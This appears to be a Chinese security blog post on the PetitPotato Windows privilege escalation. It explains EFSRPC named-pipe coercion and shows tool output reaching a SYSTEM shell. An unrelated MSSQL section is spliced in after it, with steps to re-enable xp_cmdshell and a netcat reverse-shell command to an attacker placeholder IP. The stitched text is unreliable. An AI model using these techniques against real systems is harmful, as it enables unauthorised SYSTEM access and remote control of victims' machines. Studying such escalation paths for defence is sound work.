Windows提权之PetitPotato

影响范围

Windows 21H2 10.0.20348.1547

漏洞类型

本地提权

漏洞概述

2021年12月微软发布了一个针对不同EFSRPC漏洞的补丁CVE-2021-43217,Microsoft对EFSRPC通信实施了一些强化措施,特别是在使用EFSRPC时,EFSRPC客户端需要使用RPC_C_AUTHN_LEVEL_PKT_PRIVACY,如果客户端未能做到这一点则客户端将被拒绝,并生成一个Windows应用程序事件,这里的MS-EFSR是一种用于对远程存储并通过网络访问的加密数据执行维护和管理操作的协议,该协议有一系列类似EfsRpcOpenFileRaw的API,例如:


long EfsRpcOpenFileRaw(
   [in] handle_t binding_h,
   [out] PEXIMPORT_CONTEXT_HANDLE* hContext,
   [in, string] wchar_t* FileName,
   [in] long Flags
);

这种API可以通过FileName参数指定UNC路径以打开服务器上的加密对象进行备份或恢复,当指定格式为\\IP\C$的路径时,lsass.exe服务将使用NT AUTHORITY系统帐户权限访问\\IP\pipe\srvsvc,如果我们可以调用EfsRpcOpenFileRaw API来强制本地计算机连接到我们创建的恶意命名管道,那么我们就可以模拟命名管道客户端进程并最终获得SYSTEKM权限,但由于相关补丁的限制,使得旧的PetitPotam无法在新版本的Windows上运行,但是在调用EFS之前可以通过RpcBindingSetAuthInfoW将AuthnLevel设置为RPC_C_AUTHN_LEVEL_PKT_PRIVACY在最新的系统上有效

漏洞复现

项目地址:https://github.com/wh0amitz/PetitPotato

C:\Users\Administrator\Desktop>PetitPotato.exe 3 cmd

[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Microsoft Windows [Version 10.0.20348.1547]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>

参考链接

https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

https://itm4n.github.io/from-rpcview-to-petitpotam/#exploring-the-efsrpc-interface-with-rpcview

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31

源自:微信公众号"七芒星实验室"

https://mp.weixin.qq.com/s?__biz=Mzg4MTU4NTc2Nw==&mid=2247488517&idx=3&sn=de55c66107f57a72bb43cc592c5c46f4&chksm=cf62ef0df815661b3136959443d237ecc1b764e041205dc1af91773d8b94fbd046578a482388&token=334570152&lang=zh_CN#rd

### 在 MSSQL 中通过技术实现反弹 Shell #### 利用 `xp_cmdshell` 执行命令并反弹 Shell 对于拥有高限账户(如 sa 用户),可以通过启用 `xp_cmdshell` 来执行操作系统级别的指令,进而建立反向连接。由于 `xp_cmdshell` 默认仅在 SQL Server 2000 版本中处于激活状态,在后续版本里已被禁用;不过这并不妨碍攻击者借助 sp_configure 命令再次打开此功能[^3]。 一旦成功启用了 `xp_cmdshell`,便能够调用 Netcat 或其他类似的工具来创建一个从目标机器指向攻击者的交互式会话: ```sql EXEC master..xp_cmdshell 'nc -e cmd.exe 攻击机IP 端口' ``` 上述语句中的 IP 地址应替换为实际用于接收回连请求的服务器地址,而端口号则是事先设定好的监听端口[^1]。 需要注意的是,现代 Windows 防火墙策略以及应用程序白名单机制可能会阻止此类操作的有效实施。因此,在真实环境中应用这些技巧之前,务必考虑环境的安全配置情况。 另外一种方式是利用 `OPENROWSET` 函数配合 `OPENDATASOURCE` 进行跨数据库查询的同时注入恶意代码,从而间接达到相同的效果。然而这种方法较为复杂且依赖于特定条件下的网络设置与认证模式[^5]。 为了高成功率,建议先尝试获取更高层次的操作系统访问限,比如通过 Web 应用程序漏洞获得初始立足点后再进一步探索内部资源和服务,最终达成远程控制的目的。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值